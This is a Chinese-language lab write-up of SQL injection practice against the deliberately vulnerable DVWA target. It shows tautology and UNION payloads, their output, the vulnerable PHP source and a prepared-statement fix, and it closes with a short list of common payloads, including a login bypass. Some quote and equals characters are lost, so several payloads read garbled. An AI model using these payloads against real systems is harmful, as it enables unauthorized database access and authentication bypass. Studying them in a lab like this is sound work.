尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
DVWA-SQL注入漏洞实战记录
DVWA SQL注入漏洞实战记录今天完成了DVWA靶场的第二个漏洞练习——SQL注入。之前做了命令注入这次的SQL注入感觉原理差不多都是把用户输入当成代码执行了。记录一下整个过程方便以后复习。什么是SQL注入简单理解网站后台会用SQL语句查询数据库如果直接把用户输入拼接到SQL语句里没做任何过滤攻击者就可以注入自己的SQL代码执行恶意操作。和命令注入的对比命令注入攻击的是操作系统执行系统命令SQL注入攻击的是数据库执行SQL语句实战过程第一步进入SQL注入模块访问http://dvwa:8898/确认安全级别为Low点击左侧菜单SQL Injection页面很简单一个输入框User ID一个提交按钮Submit第二步测试正常功能输入1点击Submit后看到ID: 1 First name: admin Surname: admin这说明数据库里有用户数据ID为1的用户是admin。后台应该执行了类似这样的SQL查询SELECT*FROMusersWHEREuser_id1第三步尝试SQL注入3.1 第一次尝试输入1 or 11结果出现了SQL语法错误错误信息You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1 or 11 at line 1这说明什么我的输入被直接拼接到了SQL语句中存在SQL注入漏洞但是引号没闭合好导致语法错误3.2 调整Payload需要用--注释掉后面多余的引号在SQL中--后面的内容会被忽略。输入1 or 11 --注意最后有两个空格结果成功了返回了所有用户ID: 1 or 11 -- First name: admin Surname: admin ID: 1 or 11 -- First name: Gordon Surname: Brown ID: 1 or 11 -- First name: Hack Surname: Me ID: 1 or 11 -- First name: Pablo Surname: Picasso ID: 1 or 11 -- First name: Bob Surname: Smith原理分析后台执行的SQL变成了SELECT*FROMusersWHEREuser_id1or11--拆解一下user_id 1- 查询ID为1的用户or 11- 或者11这个条件永远为真--- 注释掉后面的内容因为11永远为真所以查询返回了所有用户第四步用UNION查询更多信息既然可以注入SQL那能不能获取数据库的其他信息4.1 查询数据库版本输入1 union select null, version() --结果成功获取到数据库版本ID: 1 union select null, version() -- First name: admin Surname: admin ID: 1 union select null, version() -- First name: Surname: 5.7.26数据库版本MySQL 5.7.26UNION原理UNION可以合并两个查询的结果第一个查询返回ID为1的用户第二个查询SELECT null, version()返回数据库版本null用来占位第一列version()返回版本号4.2 查询当前数据库名输入1 union select null, database() --结果成功获取数据库名ID: 1 union select null, database() -- First name: admin Surname: admin ID: 1 union select null, database() -- First name: Surname: dvwa当前数据库名dvwa4.3 测试列数输入1 union select 1,2 --结果成功ID: 1 union select 1,2 -- First name: admin Surname: admin ID: 1 union select 1,2 -- First name: 1 Surname: 2这证明查询返回2列first_name和last_name。第五步查看源代码点击页面右下角的View Source按钮看看后台代码是怎么写的。关键代码?phpif(isset($_REQUEST[Submit])){// Get input$id$_REQUEST[id];// Check database$querySELECT first_name, last_name FROM users WHERE user_id $id;;$resultmysqli_query($GLOBALS[___mysqli_ston],$query)...漏洞分析第4行$id $_REQUEST[ id ];- 直接获取用户输入没有任何过滤第7行$query SELECT ... WHERE user_id $id;;- 直接拼接到SQL语句中没有任何验证或过滤当我输入1 or 11 --时$id1 or 11 --;$querySELECT first_name, last_name FROM users WHERE user_id 1 or 11 --;;用户输入被当作SQL代码执行了第六步查看Impossible级别的防护安全的代码// Get input$id$_GET[id];// Was a number entered?if(is_numeric($id)){// Check the database$data$db-prepare(SELECT first_name, last_name FROM users WHERE user_id (:id) LIMIT 1;);$data-bindParam(:id,$id,PDO::PARAM_INT);$data-execute();...}防护措施输入验证if(is_numeric($id))- 检查输入是否为数字参数化查询使用prepare()和bindParam()用户输入被当作数据处理不会被当作SQL代码执行这就是正确的写法原理总结SQL注入的核心原理问题用户输入被直接拼接到SQL语句中没有验证或过滤后果攻击者可以注入恶意SQL代码执行任意数据库操作利用方式使用闭合引号使用or 11绕过条件使用--注释掉后面的内容使用union合并查询结果防护方法对比安全级别防护方式安全性能否被攻击Low无防护直接拼接❌ 完全不安全✅ 可以注入Medium/High黑名单过滤⚠️ 可能被绕过⚠️ 可能绕过Impossible参数化查询 输入验证✅ 安全❌ 无法注入正确的防护方式✅参数化查询/预编译语句- 最佳方案✅输入验证白名单- 只允许合法格式❌直接拼接SQL- 绝对不能这样做⚠️黑名单过滤- 容易遗漏绕过方式常用SQL注入Payload基础注入 or 11 -- # 返回所有记录 or11-- # 同上admin-- # 绕过密码验证UNION注入 union select 1,2 -- # 测试列数 unionselectnull,version()-- # 查询数据库版本 union select null, database() -- # 查询当前数据库名 unionselectnull,user()-- # 查询当前用户注释符--(两个短横线 空格) - MySQL、SQL Server#- MySQL/* */- 多行注释SQL注入和命令注入的相似之处对比项命令注入SQL注入漏洞本质用户输入被当作系统命令执行用户输入被当作SQL代码执行关键符号|;or--union危险函数shell_exec()直接拼接SQL字符串攻击目标操作系统数据库防护方法输入验证、命令白名单参数化查询、输入验证如何识别SQL注入漏洞查看源码看是否直接拼接用户输入尝试输入特殊字符如看是否报错尝试注入简单的SQL语句看是否生效安全编码建议错误示范$querySELECT * FROM users WHERE id $id;mysqli_query($query);正确写法$stmt$db-prepare(SELECT * FROM users WHERE id ?);$stmt-bind_param(i,$id);$stmt-execute();免责声明本文内容仅供学习和研究使用请勿用于非法用途。未经授权对他人系统进行渗透测试是违法行为。实战完成时间2026-07-16环境DVWA 靶场PhpStudy MySQL安全级别Low
RELATED

相关推荐

Cesium动态绘制点线面技术解析与实践

Cesium动态绘制点线面技术解析与实践

1. Cesium动态绘制点线面技术解析Cesium作为当前最强大的开源WebGIS引擎之一,其动态绘制能力在实际项目中具有广泛应用价值。动态绘制不同于静态数据加载,它允许用户通过交互方式实时创建和修改地理要素,这种能力在城市规划、应急指挥等场景中…

📅 2026/8/10 0:14:43
为什么 JWT 明明主打“无状态、不用查库”,实际业务咋还得存个 Redis?

为什么 JWT 明明主打“无状态、不用查库”,实际业务咋还得存个 Redis?

做业务开发有时就是有些矛盾的地方,比如 JWT 都吹它无状态,又不用查数据库性能还好,结果实际开发转头 token 就存 Redis 里了。JWT(JSON Web Token)自带用户信息和签名,服务端不需要存任何东西,…

📅 2026/8/7 14:35:09
Medium读者行为分析:从阅读时长到标题词数的数据驱动洞察

Medium读者行为分析:从阅读时长到标题词数的数据驱动洞察

1. 项目概述:为什么一篇 Medium 文章能“说话”?你有没有想过,当你在 Medium 上点开一篇文章,读完、点赞、甚至转发——这一连串动作背后,其实藏着一整套可被量化的读者行为逻辑?而作者写标题时多加一个形容…

📅 2026/7/21 7:33:27
MORE NEWS

更多资讯

📰

用Python和SGP4计算低轨卫星可见性与通信延迟全流程

简介:一份基于 Python 的低轨道卫星通信模拟项目,面向通信、计算机、自动化等相关专业的学生与开发者,适合作为课程设计、毕业设计或初期项目演示;项目围绕低轨卫星轨道运动模拟、星地可见性判断与通信延迟计算展开,同…

📰

YOLOv8玉米叶病害检测实战:数据集训练与PyQt界面部署

简介:面向玉米叶病害识别与桌面可视化应用场景,这套方案整合了YOLOv8模型权重、1500张病害图像数据集以及PyQt交互界面,既适合初学者快速上手目标检测项目,也可支撑算法工程师开展迁移学习实验。数据集已完成训练集、验证集、测试…

📰

C51单片机控制ISD1820PY语音录放模块:原理图、接线与代码详解

简介:面向电子爱好者和嵌入式开发者,这份基于ISD1820PY芯片的10秒录音器模块开发包,提供原理图、PCB设计、C51单片机控制源码及说明文档,覆盖语音玩具、电子贺卡等简单录放音场景的完整软硬件方案。ISD1820PY支持单次、循环及地址…

📰

PSO-DV-Hop无线传感器网络定位算法详解与MATLAB实现

简介:一份MATLAB例程,演示如何使用粒子群优化(PSO)改进DV-HOP定位算法,适用于无线传感器网络节点定位的学习与实验。面向通信工程、计算机等相关专业的初学者和研究人员,也适合作为课程设计或毕业设计的参考…

📰

ConnectX-8:AI集群的神经中枢与RDMA范式重构

1. 为什么说ConnectX-8不是“又一块网卡”,而是AI集群的神经中枢重构 你可能已经见过太多次“新一代网卡发布”的新闻——参数翻倍、带宽提升、支持新协议……然后被淹没在信息流里。但当我第一次在GTC现场摸到ConnectX-8 SuperNIC的实物样机,手指划过那…

📰

Android扫码枪开发:底层设备节点与原始字节流捕获实战

简介:本资源是一套完整的Android手持扫码枪APP开发源码,面向Android应用开发者及嵌入式IoT项目实践者,聚焦蓝牙/USB外设集成、条码实时解析与工业级扫码交互场景。包内含411个文件,主体为124个so库(支撑硬件通信与解码…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬